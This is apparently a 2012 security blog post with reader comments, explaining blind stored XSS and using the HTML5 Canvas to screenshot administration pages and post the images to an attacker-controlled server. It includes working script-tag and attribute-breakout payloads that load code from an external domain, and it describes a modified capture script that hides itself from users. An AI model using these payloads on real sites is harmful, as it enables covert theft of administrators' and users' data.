Taking screenshots using XSS and the HTML5 Canvas

Using the HTML5 Canvas its possible to use XSS to take screenshots of administration and management interfaces that might not have access to.

Blind Stored XSS
By injecting script tags containing an external JavaScript resource into arbitrary HTTP input fields you can attempt to detect XSS in pages or applications which might not be accessible. To increase my chances of getting my script tags past basic data validation (e.g. length) I registered a short domain name for my payloads. Using a 3 letter domain with 2 letter prefix and a protocol relative URL the shortest functional script payload that pulls in an external resource is probably ~32 characters:

<script src="//xqi.cc"></script>

Additionally you can also try onload or onmouseover events in case the injection is inside an HTML attribute; although this significantly increases the size of the payload to about 160 characters:

" onmouseover="var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);
" onload="var n=document.createElement('script'); n.type='text/javascript';n.src='//xqi.cc'; x=document.getElementsByTagName('head'); x[0].appendChild(n);

It goes without saying that you are depending on the administrator or user to view the XSS in order for it to execute, your chances will depend on the type of injection you use and how frequently the vulnerable application is accessed. You’ll know when the JavaScript resource executes in another application because you can see the JavaScript resource and the HTTP referrer in your HTTP logs:

1.2.3.4 – - [09/Apr/2012:02:10:49 +0000] “GET / HTTP/1.1″ 200 57 “http://www.site.com/admin/customers.aspx” “Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2″
1.2.3.4 – - [09/Apr/2012:02:10:59 +0000] “GET / HTTP/1.1″ 200 57 “http://www.site.com/admin/view_customer.aspx?id=122″ “Mozilla/5.0 (Windows NT 6.1; rv:10.0.2) Gecko/20100101 Firefox/10.0.2″

I was deploying these payloads using a custom Burp extension although I’ve now discovered Acunetix allows you to issue custom payloads – you can download the script I use here.

Taking a screenshot
The HTML5 Canvas allows you to quickly render (client side) an accurate screenshot of the clients browser and use Ajax to return it to a server controlled by the attacker.

The code I use is based more or less entirely on Niklas Von Hertzen’s version available on GitHub. However I’ve made a few modifications in order to weaponize it:

  • Merged the source together (Jquery, HTMLCanvas and the JQueryHTMLCanvas plugin) so that the payload consists of just 1 file
  • Removed any messages displayed to the user
  • Added an Ajax post so that it posts the Canvas to a remote server
  • Added some code to prevent the JS being loaded multiple times on the same page

On the server side there is also a script to decode the Canvas which is posted as a base64 encoded string and write it to a database which also has Referrer, Remote Address and User Agent fields. This allows me to keep track of users that execute the code.

Cross Domain Policy and other issues
The only real caveat is that the script will run with the same-origin policy preventing it from fetching resources from other domains (e.g. images hosted on a CDN). In an attempt to overcome this the script uses a proxy to fetch external resources that are outside of its domain (this obviously wont work for any resources that are not publicly accessible).

Its also worth nothing that taking a screenshot using HTML5 doesn’t really provide you with any more information than harvesting a copy of the DOM using XSS.

Download HTML5 Screenshot XSS POC code
(Tested in the latest versions of Chrome and Firefox)

Article updated 6th April 2012 to include protocol relative URLs and a custom Acunetix Script

This entry was posted in Exploits, HTML5, JavaScript and tagged , , . Bookmark the permalink.

9 Responses to Taking screenshots using XSS and the HTML5 Canvas

  1. Gianluca says:

    This is really cool!

    You should consider making a beef module too!

  2. You could use a protocol-relative URL to save 5 characters :

  3. Dimwit says:

    Can somebody sum this up simply for me plz?

  4. Bogdan Calin says:

    To deploy this with Acunetix the best way is to write a simple custom check.
    Input Fields were not designed for that.

    Check
    http://www.acunetix.com/blog/docs/creating-custom-vulnerability-checks/
    More information and some sample scripts you can find in the Acunetix SDK archive.

  5. Manish says:

    This is really cool because you could fetch all personal information or anything displayed. I just save a copy of DOM to my server.

  6. Crim3R says:

    thanks for the gr8 article HTML5 rocks
    and
    ur blog is awesome :)

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>